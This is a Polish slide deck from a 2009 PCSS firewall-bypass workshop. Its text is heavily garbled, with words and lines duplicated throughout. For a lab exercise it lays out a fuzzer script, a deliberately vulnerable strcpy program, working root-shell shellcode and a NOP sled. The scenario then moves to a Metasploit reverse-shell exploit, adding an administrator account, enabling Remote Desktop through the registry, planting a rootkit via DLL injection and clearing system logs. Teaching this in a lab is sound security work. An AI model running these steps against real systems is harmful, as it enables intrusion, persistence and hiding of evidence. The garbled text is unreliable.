Download - Omijanie Firewall
Omijanie firewalli w systemach WindowsOmijanie firewalli w systemach Windows
------ warsztaty warsztaty ------
1
PoznaPoznańń, , 18.18.0606.2009.2009
Mateusz DrygasMateusz Drygas, , Marcin JerzakMarcin Jerzak,,
Jakub TomaszewskiJakub Tomaszewski,,
ZespZespółół BezpieczeBezpieczeńństwa PCSSstwa PCSS
AgendaAgenda
10:00 10:00 –– Rozpoczęcie, powitanie uczestników, informacje organizacyjneRozpoczęcie, powitanie uczestników, informacje organizacyjne10:00 10:00 –– Rozpoczęcie, powitanie uczestników, informacje organizacyjneRozpoczęcie, powitanie uczestników, informacje organizacyjne
10:05 10:05 –– Poznajmy się: czym jest PCSS , Zespół Bezpieczeństwa PCSS i MIC?Poznajmy się: czym jest PCSS , Zespół Bezpieczeństwa PCSS i MIC?
10:05 10:05 –– Trochę informacji technicznychTrochę informacji technicznych
10:15 10:15 –– Łamanie zabezpieczeń w praktyceŁamanie zabezpieczeń w praktyce
11:30 11:30 –– PrzerwaPrzerwa
11:45 11:45 –– Lokalnie i zdalnie...Lokalnie i zdalnie...11:45 11:45 –– Lokalnie i zdalnie...Lokalnie i zdalnie...
12:00 12:00 –– Firewalle Firewalle -- ćwiczenia w formie scenariuszaćwiczenia w formie scenariusza
13:30 13:30 –– Na zakończenie Na zakończenie –– garść przydatnej wiedzy igarść przydatnej wiedzy i dyskusjadyskusja
2
Informacje organizacyjneInformacje organizacyjne
AnkietaAnkietaAnkietaAnkieta
Krótka i anonimowaKrótka i anonimowa
Pomoc na przyszłośćPomoc na przyszłość
Lista obecnościLista obecności
Proszę zaznaczyć, czy chcecie Państwo otrzymywać Proszę zaznaczyć, czy chcecie Państwo otrzymywać informacje o kolejnych szkoleniachinformacje o kolejnych szkoleniach
Prezentacja Prezentacja –– dostępna na stronach WWWdostępna na stronach WWWPrezentacja Prezentacja –– dostępna na stronach WWWdostępna na stronach WWW
http://mic.psnc.pl http://mic.psnc.pl
http://szkolenia.man.poznan.plhttp://szkolenia.man.poznan.pl
http://security.psnc.plhttp://security.psnc.pl
3
Kim jesteśmy i co robimy?Kim jesteśmy i co robimy?
4
PCSSPCSSPoznańskie Centrum Poznańskie Centrum SuperkomputerowoSuperkomputerowo--Sieciowe: Sieciowe: SuperkomputerowoSuperkomputerowo--Sieciowe: Sieciowe: 15 lat 15 lat w październiku 2008w październiku 2008
Operator sieci PIONIER (sieć Operator sieci PIONIER (sieć dla edukacji i nauki) oraz dla edukacji i nauki) oraz POZMANPOZMAN
Uczestnik projektów naukowoUczestnik projektów naukowo--badawczychbadawczych
Główne obszary Główne obszary zainteresowańzainteresowańzainteresowańzainteresowań
GridyGridy, sieci nowej , sieci nowej generacji, portalegeneracji, portale
Bezpieczeństwo sieci i Bezpieczeństwo sieci i systemówsystemów
http://www.pcss.plhttp://www.pcss.pl5
Zespół Bezpieczeństwa PCSSZespół Bezpieczeństwa PCSSDedykowany zespół istnieje od 1996r.Dedykowany zespół istnieje od 1996r.
Podstawowy zakres prac ZespołuPodstawowy zakres prac Zespołu
Zabezpieczanie infrastruktury PCSSZabezpieczanie infrastruktury PCSS
Zadania bezpieczeństwa w projektach naukowo Zadania bezpieczeństwa w projektach naukowo –– badawczychbadawczych
Szkolenia i transfer wiedzySzkolenia i transfer wiedzy
Badania własneBadania własne
Audyty i doradztwo w zakresie bezpieczeństwa ITAudyty i doradztwo w zakresie bezpieczeństwa IT
6
Niektóre badania z ostatnich latNiektóre badania z ostatnich lat
Raport o bezpieczeństwie bankowości elektronicznej (Raport o bezpieczeństwie bankowości elektronicznej (20062006))
Bezpieczeństwo serwerów WWW Apache i MS IIS (Bezpieczeństwo serwerów WWW Apache i MS IIS (20072007))
Bezpieczeństwo sklepów internetowych (Bezpieczeństwo sklepów internetowych (20082008))
http://security.psnc.plhttp://security.psnc.pl
Centrum Innowacji MicrosoftCentrum Innowacji Microsoft
Pierwsze w Polsce MICPierwsze w Polsce MIC
PartnerzyPartnerzyMicrosoft CorporationMicrosoft Corporation
Poznańskie Centrum Poznańskie Centrum SuperkomputerowoSuperkomputerowo--SiecioweSieciowe
Pierwsze w Polsce MICPierwsze w Polsce MICCentrum Bezpieczeństwa i Centrum Bezpieczeństwa i usług outsourcingowychusług outsourcingowych
7
SuperkomputerowoSuperkomputerowo--SiecioweSieciowe
Politechnika PoznańskaPolitechnika Poznańska
Otwarcie: Otwarcie: 1.06.2006r.1.06.2006r.http://mic.psnc.plhttp://mic.psnc.pl
Wybrane zadania MIC w 2009Wybrane zadania MIC w 2009
Nowe obszary badań (od I 2009):Nowe obszary badań (od I 2009):Nowe obszary badań (od I 2009):Nowe obszary badań (od I 2009):
InteroperacyjnośćInteroperacyjność systemów i technologiisystemów i technologii
Wirtualizacja systemówWirtualizacja systemów
Wysokowydajne przetwarzanie komputerowe (HPC) Wysokowydajne przetwarzanie komputerowe (HPC) ––m.in. udział w programie HPC TAPm.in. udział w programie HPC TAP
Doroczna Konferencja MIC Doroczna Konferencja MIC -- 1616 kwietniakwietnia 2009,2009, 3.3. edycjaedycja
8
Doroczna Konferencja MIC Doroczna Konferencja MIC -- 1616 kwietniakwietnia 2009,2009, 3.3. edycjaedycja
Szkolenia MIC Szkolenia MIC –– I półrocze 2009I półrocze 2009
InteroperacyjnośćInteroperacyjnośćInteroperacyjnośćInteroperacyjność
27.05: Zastosowanie technologii 27.05: Zastosowanie technologii SilverlightSilverlight......
10.06: Windows Server 2008 jako uniwersalna platforma zapewniająca 10.06: Windows Server 2008 jako uniwersalna platforma zapewniająca usługi wirtualizacji i usługi wirtualizacji i klastrowaniaklastrowania
23.06: Bezpieczeństwo heterogenicznej platformy 23.06: Bezpieczeństwo heterogenicznej platformy hostingowejhostingowej (są (są jeszcze ostatnie wolne miejsca)jeszcze ostatnie wolne miejsca)
BezpieczeństwoBezpieczeństwo
9
BezpieczeństwoBezpieczeństwo
18.06: Omijanie firewalli w systemach Windows 18.06: Omijanie firewalli w systemach Windows –– warsztaty BYOL dla warsztaty BYOL dla specjalistów bezpieczeństwaspecjalistów bezpieczeństwa
Szkolenia MIC Szkolenia MIC –– II półrocze 2009II półrocze 2009
InteroperacyjnośćInteroperacyjnośćInteroperacyjnośćInteroperacyjność
Windows HPC ServerWindows HPC Server
Exchange Exchange LabsLabs jako uniwersalna platforma ejako uniwersalna platforma e--mailmail
BezpieczeństwoBezpieczeństwo
Bezpieczeństwo aplikacji ASP.NET MVCBezpieczeństwo aplikacji ASP.NET MVC
Bezpieczeństwo kontrolera domenyBezpieczeństwo kontrolera domeny
Szkolenia w Warszawie: IX/X 2009 (powtórzenie Szkolenia w Warszawie: IX/X 2009 (powtórzenie
10
Szkolenia w Warszawie: IX/X 2009 (powtórzenie Szkolenia w Warszawie: IX/X 2009 (powtórzenie cyklu „cyklu „InteroperacyjnośćInteroperacyjność”)”)
Zachęcamy do zgłaszania Zachęcamy do zgłaszania w ankietachw ankietach propozycji propozycji tematów na kolejne spotkania!tematów na kolejne spotkania!
Informacje techniczne (Informacje techniczne (11))
SystemSystem
Linux Live + changes
User: root / Passwd: toor
Wifi Wifi -- „„pcss-warsztaty”
wpa_passphrase pcss-warsztaty warsztaty-firewalle > wpa.conf
wpa_supplicant -i<interface wifi> -cwpa.confwpa_supplicant -i<interface wifi> -cwpa.conf
11
Informacje techniczne (2)Informacje techniczne (2)
AdresacjaAdresacja
Brama → 192.168.1.1
DNS → 192.168.1.1
Serwer do ćwiczeń → 192.168.1.7
Adres kliencki: 192.168.1.1XX
ifconfig <interface wifi> 192.168.1.1XX netmask 255.255.255.0ifconfig <interface wifi> 192.168.1.1XX netmask 255.255.255.0
ip route add default via 192.168.1.1
12
Architektura środowiskaArchitektura środowiska
System Centralny
...XP_V1 XP_V2 XP_V3 XP_Vn
WifiWifi
13
...L1 L2 L3 Ln
WifiWifi
Łamanie zabezpieczeń wŁamanie zabezpieczeń w praktycepraktyce
Wyszukiwanie podatności
Eksploitacja błędów
Shellcoding
Wyszukiwanie podatnościWyszukiwanie podatności
15
Ręczne wyszukiwanie błędów
Wartości niezgodne ze specyfikacją
poza zakresem
inne dane niż oczekiwane (float/string)
znaki specjalne
losowelosowe
Automatyczne szukanie lukFuzzer
Stosunkowo łatwo napisać prosty fuzzer
Fuzzing – bardziej złożony
rozbudowane dane wejściowe (np. jpeg)
obsługa debuggeraobsługa debuggera
analiza wyników i dostosowywanie testowanych danych
Rodzaje fuzzerów
Mutacyjne
Generacyjne
EwolucyjneEwolucyjne
Wady fuzzingu
Nie znajduje błędów logicznych
Nieokreślony czas znalezienia podatności
Wraz ze wzrostem skomplikowania programu postępuje wzrost złożoności fuzzer'aWraz ze wzrostem skomplikowania programu postępuje wzrost złożoności fuzzer'a
Jak napisać prosty „fuzzer” (1)Analiza programu:Analiza programu:
na jakich danych operuje?
skąd je bierze?
Modyfikacja danych wejściowych
różne znaki w parametrach
różne długości parametrów
modyfikacja przetwarzanych plikówmodyfikacja przetwarzanych plików
modyfikacje paczek sieciowych
Najlepsze wyniki osiągamy, gdy mamy dostęp do maszyny, na której znajduje się testowana aplikacja…
… i jeżeli testujemy program w debugerze (OlyDBG, gdb), którypomoże w analizie błędu
Jak napisać prosty „fuzzer” (2)Po ustaleniu, co można „zaatakować”, czasem wystarczy... Po ustaleniu, co można „zaatakować”, czasem wystarczy... krótki skrypt w bash'u:
#!/bin/bash#very simple fuzzx=1C='i'licz=1while [ $x -le 10 ]; do
a=`./hello $C`wyn=$?if [ $ wyn = 139 ]wyn=$?if [ $ wyn = 139 ]
thenecho "SEGV dla ilosci:"$liczexit
fiC=$C'i'licz=$((licz+1))
done
Przykładowe znane fuzzery - Linux
clfuzz.py – napisany w Pythonie fuzzer oparty o linię komend. Bardzo clfuzz.py – napisany w Pythonie fuzzer oparty o linię komend. Bardzo przydatny do testowania binariów setuid na błędy przepełnienia w linii komend
zzuf – działa w oparciu o mechanizm przechwytywania przerwań operacji plikowych i podmiany losowych bitów
SPIKE – to napisany w C kod, który jest bazą do tworzenia fuzzerów. Prawdopodobnie najszerzej wykorzystywany framework tego typuPrawdopodobnie najszerzej wykorzystywany framework tego typu
Peach – SmartFuzzer zdolny wykorzystywać zalety fuzzerów generacyjnych i mutacyjnych
Przykładowe znane fuzzery - Windows
AxMan – webowy fuzzer oparty o mechanizmy ActiveX, napisany przez H.D. Moore’a.
Peach – SmartFuzzer, zdolny wykorzystywać zalety fuzzerów generacyjnych I mutacyjnychgeneracyjnych I mutacyjnych
Bardziej złożone fuzzery
W Pythonie dla Linux'a:
http://192.168.1.7/fuzzing/fuzz.py
W C++ dla Windowsa:
http://192.168.1.7/fuzzing/fuzz_c.cpphttp://192.168.1.7/fuzzing/fuzz_c.cpp
Ciekawostka
Mozilla udostępnila w 2007r JSfuzzer, którym testowała Firefoksa. Dzięki temu znaleziono za jego pomocą 280 błędów, z czego 27
można było wyeksploitować
http://www.cgisecurity.com/2007/08/mozilla-releases-javascript-fuzzer-at-blackhat-.html fuzzer-at-blackhat-.html
ExploitationExploitation
0x414141410x41414141
26
Pierwszy kod#include <unistd.h>#include <unistd.h>
char arg[] =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int main(int argc, char **argv)int main(int argc, char **argv)
{
execl("./crackme", "./crackme", arg, NULL);
return 0;
}
Stos
Last In First Out
„Rośnie w dół”
Wątki posiadają odrębne stosy
Operacje PUSH i POP
Rejestry i adresy
ESP – wskaźnik szczytu stosu,
EIP – wskaźnik instrukcji,
EBP – rejestr bazowy,
EBP + 4 = RETEBP + 4 = RET
RET – adres powrotu,
0x41414141(gdb) f 3#3 0x41414141 in ?? ()#3 0x41414141 in ?? ()(gdb) i regeax 0x0 0ecx 0xffffffff -1edx 0x280e8c4c 672042060ebx 0x3 3esp 0xbfbfec48 0xbfbfec48ebp 0x42424242 0x42424242 esi 0xbfbff7ac -1077938260edi 0xbfbff7bc -1077938244edi 0xbfbff7bc -1077938244eip 0x41414141 0x41414141 eflags 0x286 646cs 0x1f 31ss 0x2f 47ds 0x2f 47es 0x2f 47fs 0x2f 47gs 0x2f 47
Rejestry
General Purpose
EAX, EBX, ECX
Segment Pointers
CS, DS
ControlControl
EIP
RET - adres powrotu
Gdzie jest nasz shellcode?
export shellcode $(perl -e 'print “A”x100)
Gdzie jest stos?
echo 0 > /proc/sys/kernel/randomize_va_space
Jak trafić?
x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/xx90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90
Podatny kod#include <stdlib.h>
#include <stdio.h>#include <stdio.h>
#include <string.h>
int bof(char *string)
{
char buffer[1024];
strcpy(buffer, string);
return 1;
}}
int main(int argc, char *argv[])
{
bof(argv[1]);
return 1;
}
Ochrona pamięci
Stack cookies
Address Space Layout Randomization
SafeSEH
Heap Protection
Data Execution PreventionData Execution Prevention
Separacja w Windows
User mode – ring 3
Kernel mode – ring 0
Stałe błędy programistyczne (1)
Stack Overflow
np. nadpisujemy adres powrotu adresem, który znajduje się w ring 3
Stałe błędy programistyczne (2)
Niedostateczna walidacja adresów pochodzących z user-mode
np. nadpisujemy wskaźnik do danej funkcji ring 0 adresemwskazującym na ring 3
Stałe błędy programistyczne (3)
Non-executable stack DEP
Return to libc – przekierowanie sterowania do funkcji, a na stosie znajdują się parametry
system() - uruchamia proces
ShellcodingShellcoding
39
Definicja
kod maszynowy możliwy do wykonania bezpośrednio przez kod maszynowy możliwy do wykonania bezpośrednio przez procesor, wykonujący zawsze DOKŁADNIE to, co chcemy
brak statycznych odwołań
Pomijamy, jeśli tylko się da, znak -> NULL
xor X Xxor X X
http://192.168.1.7/shellcoding/
Narzędzia
gcc - kompilator, � gcc - kompilator,
� as - assembler,
� ld - linker,
� gdb - debuger,
� objdump (-x, -d, -D) –> disassembler+� objdump (-x, -d, -D) –> disassembler+
� strace
� vi i inne
Wrapper kodu assemblera (test.c)
char shellcode[] = ""; //nasz shellcode w tablicy globalnejchar shellcode[] = ""; //nasz shellcode w tablicy globalnej
int main (int argc, char **argv)
{
int (*ret)(); //wskaznik funkcji
ret = (int(*)())shellcode; //wskazujemy nasz shellcode
(int)(*ret)(); //wywolanie jak funkcji
return 0;
}
Budowanie shellcode'u krok po kroku
1. Co ma robić shellcode?1. Co ma robić shellcode?
2. Definicja funkcji przez niego używanych,
3. Wywołania systemowe potrzebnych funkcji,
4. Budowa kodu assemblera,
5. Kompilacja do „binarki”,
6. Deassemblacja,
7. Budowanie shellcodu,
8. Test.
Przyklad (1) – exit(0)Funkcja exit()Funkcja exit()
Definicja -> man 2 exit
http://www.cl.cam.ac.uk/cgi-bin/manpage?2+exit
void _exit(int status);
Przyklad (1) – exit(0)syscallsyscall
grep __NR_exit /usr/include/asm/unistd_32.h
#define __NR_exit 1
grep __NR_exit /usr/include/asm/unistd.h
grep __NR_exit /usr/include/asm/unistd_64.h
Przyklad (1) – exit(0)As exit.s -o exit.o
ld exit.o -o exit
./exit
echo $?
objdump -d exit
shellcode:
“\x31\xc0\xb0\x01\x31\xdb\xcd\x80”
kilka testów (test_exit.c)
Przyklad (2) – “Hello World”Funkcje exit() i write()Funkcje exit() i write()
Definicja -> man 2 exit
http://www.cl.cam.ac.uk/cgi-bin/manpage?2+exit
void _exit(int status);
Definicja -> man 2 write
http://www.cl.cam.ac.uk/cgi-bin/manpage?2+write
ssize_t write(int fd, const void *buf, size_t count);
Przyklad (2) – “Hello World”
syscall
grep __NR_exit /usr/include/asm/unistd_32.h
#define __NR_exit 1
grep __NR_write /usr/include/asm/unistd_32.h
#define __NR_write 4
Przyklad (2) – “Hello World”
Własności i ich konsekwencje – brak NULL i statycznych odwołańWłasności i ich konsekwencje – brak NULL i statycznych odwołań
call
call wrzuca następującą po niej wartość (standardowo – adrespowrotu) na stos i przenosi kontrolę do miejsca, ktore jest jej powrotu) na stos i przenosi kontrolę do miejsca, ktore jest jej
parametrem.
Przyklad (2) – “Hello World”as hello.s -o hello.o | ld hello.o -o hello as hello.s -o hello.o | ld hello.o -o hello
./hello | objdump -d hello
shellcode:
"\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04"\
"\xb2\x0e\x59\xb3\x01\xcd\x80\x31\xc0\xb0\x01\x31"\
"\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x48\x65\x6c\x6c"\
"\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a"
test (test_hello.c)
Przyklad (2) – “Hello World”Uwaga:Uwaga:
H e l l o , W o r l d ! \n
48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a
czyli:czyli:
“\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a”
Przyklad (3) – /bin/sh + rootFunkcje setreuid() i execve()Funkcje setreuid() i execve()
Definicja -> man 2 setreuid
http://www.cl.cam.ac.uk/cgi-bin/manpage?2+setreuid
int setreuid(uid_t ruid, uid_t euid);
Definicja -> man 2 execve
http://www.cl.cam.ac.uk/cgi-bin/manpage?2+execve
int execve(const char *filename, char *const argv[], char *const envp[]);
Przyklad (3) – /bin/sh + root
syscall
grep __NR_setreuid /usr/include/asm/unistd_32.h
#define __NR_setreuid 70
grep __NR_execve /usr/include/asm/unistd_32.h
#define __NR_execve 11
Przyklad (3) – /bin/sh + rootexecve("/bin/sh", *"/bin/sh", (char **)NULL);
execve("/bin/sh", - ciąg do wywołania (bez NULLi!)
*"/bin/sh", - adres tego ciągu
(char **)NULL) - NULL-owy wskaźnik do przyległej pamięci (parametry wywołania /bin/sh)
ciąg w pamięci wygląda tak: /bin/shNXXXXYYYYciąg w pamięci wygląda tak: /bin/shNXXXXYYYY
gdzie N ma wartość dokładnie \0 (koniec ciągu), czyli dla nas zakazaną – nie możemy mu nadać wartości NULL, ale możemy go XOR-ować
XXXX (4 bajty) to adres adresu naszego ciągu
YYYY (4 bajty) to adres wskaźnika envp[] (aktualnie call *NULL)
Przyklad (3) – /bin/sh + rootAs shell.s -o shell.o As shell.s -o shell.o
ld shell.o -o shell
./shell
(?)
shellcode:
(?)
Przyklad (3) – /bin/sh + root
Segmentation fault !!!
Dlaczego??Dlaczego??
Przyklad (3) – /bin/sh + root
as -g shell.s -o shell.o
(przydaje się, ale nie jest konieczne)
ld shell.o -o shell
objdump -x shell
.text ma atrybut readonly :/
ale .data :D
Przyklad (3) – /bin/sh + rootas shell_new.s -o shell_new.o as shell_new.s -o shell_new.o
ld shell_new.o -o shell_new
./shell_new | objdump -d shell_new
"\x31\xc0\xb0\x46\x31\xc9\x31\xdb\xcd\x80\xeb\x18\x5b"\
"\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x31\xc0"\
"\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe3\xff"\
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
test (test_shell_new.c)
Co dalej?
minimalizacja długości
shellcody bez konkretnych znaków
shellcody tylko ze znaków drukowalnychshellcody tylko ze znaków drukowalnych
PrzerwaPrzerwa
60
Lokalnie i zdalnie...Lokalnie i zdalnie...
Szukanie błędów
Większy problem ze zdefiniowaniem faktu błędu
Niejednoznacze odpowiedzi od serwera
Utrudnione debugowanie Utrudnione debugowanie
Exploitowanie
Znaczące problemy z uzyskaniem danych o procesach (rejestrach) oraz stanie usługi
Brak znajomości środowiska docelowego
Shellcoding
Wymagana jest dokładna znajomość systemu zdalnego
Przy założeniu dokładnie tych samych funkcjonalności shellcodu –złożoność problemu jest w przybliżeniu identyczna
Firewalle Firewalle -- ćwiczenia wćwiczenia w formie formie
scenariuszascenariusza
Wprowadzenie
Wiedza początkowa agresora:
Cel znajduje się pod adresem 192.168.1.7,
Cel wykorzystuje system Windows,
Cel jest chroniony przez co najmniej jeden firewall
Rozpoznanie maszyny
Skan adresu 192.168.1.7
Podpowiedź (!)
Poszukiwany otwarty port: 133XX
Rozpoznanie reakcji na porcie
Skanowanie
Próby połączeń
Testy reakcji na pakiety
Fuzzing na rozpoznany port
Zadanie:
Napisać (odszukać, przystosować) fuzzera
i zaatakować port
Podpowiedź (!)
http://172.168.1.7/fuzzing/fuzz_lan.py
Reakcja usługi na danym procie
Analiza wykonanych czynności i reakcji serwera
Ponowne rozpoznanie portów
Skanowanie
Podpowiedź (!)
Poszukiwany otwarty port: 144XX
Ponowne rozpoznanie usługi
rozpoznanie
atak
explitowanie przez znane luki explitowanie przez znane luki
Podpowiedź (!)
Metasploit
BadBlue
windows/shell/reverse_tcp
Dalsze działanie (1)
Dodanie konta z prawami administratora
Podpowiedź (!)
net user janek janka /add
net localgroup
net localgroup Administratorzy janek /add
Dalsze działanie (2)
Otwieramy dostęp przy pomocy:
Windows XP Remote Desktop
Podpowiedź (!)
Weryfikacja ustawień:Weryfikacja ustawień:
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
Zmiana ustawień:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0
Dalsze działania + czyszczenie (1)
Komunikat firewalla – usunięcie (?)
Umieszczenie programu typu rootkit
Ponowne uruchomienie usługi firewalla (Kerio Ponowne uruchomienie usługi firewalla (Kerio Personall Firewall)
Dalsze działania + czyszczenie (2)
Czyszczenie logów systemowych
Usunięcie dodanego konta
Wyłączenie Remote DesktopWyłączenie Remote Desktop
Założenie (!)
Atak przeprowadzamy z sieci lokalnej,
ale Internet jest udostępniony przez inny interfejs,
na którym dostępny dla TCP
jest jedynie port docelowy 80-ty
(dodatkowy system firewall
dla styku sieci lokalnej i Internetu)
Rootkit -> Podpowiedź (!)
WinAPI
DllInjection
lub
IP over DNS
Schemat „wyjścia” rootkita
Proces aplikacji - hostaFW
Wątek podczepiany
Na zakończenieNa zakończenie
garść przydatnej wiedzy garść przydatnej wiedzy ii dyskusjadyskusjagarść przydatnej wiedzy garść przydatnej wiedzy ii dyskusjadyskusja
Shellcody, rootkity, exploitygdzie ich szukać?
INTERNET!!!!INTERNET!!!!
...czego dowodzą dzisiejsze warsztaty!
Ciekawostka – analiza exploita
Kerio Personal Firewall v2.1.4
remote code execution exploit
http://192.168.1.7/exploit/kpf214.txt
Analiza DllInjection – schemat (1)
Start Znalezionohosta?
TAKTAK
NIENIE
Wstrzyknij kod
http://192.168.1.7/winapi/kod.tar.gz
hosta?
Zabezpieczenia !?
Aktualizacja, aktualizacja, aktualizacja (!)
Godny polecenia producent oprogramowania
Dbanie o „czystość” własnego systemuDbanie o „czystość” własnego systemu
Świadome użytkowanie komputera
Dlaczego nacisk na atak, Dlaczego nacisk na atak, a nie na obronę?a nie na obronę?a nie na obronę?a nie na obronę?
??????
91
Dyskusja!Dyskusja!
Informacje kontaktowe Informacje kontaktowe Autorzy prezentacjiAutorzy prezentacji
[email protected]@[email protected]@man.poznan.pl
whlwhlyy@@man.poznan.plman.poznan.pl
mmateuszateusz@@man.poznan.plman.poznan.pl
Centrum Innowacji MicrosoftCentrum Innowacji Microsoft
httphttp://mic.psnc.pl://mic.psnc.pl
[email protected]@man.poznan.pl
PCSSPCSSPCSSPCSS
http://www.pcss.plhttp://www.pcss.pl
Zespół Bezpieczeństwa PCSSZespół Bezpieczeństwa PCSS
httphttp://security.psnc.pl://security.psnc.pl
[email protected]@man.poznan.pl92
Pytania i dyskusja, propozycje?Pytania i dyskusja, propozycje?
Dziękujemy za uwagę!Dziękujemy za uwagę!93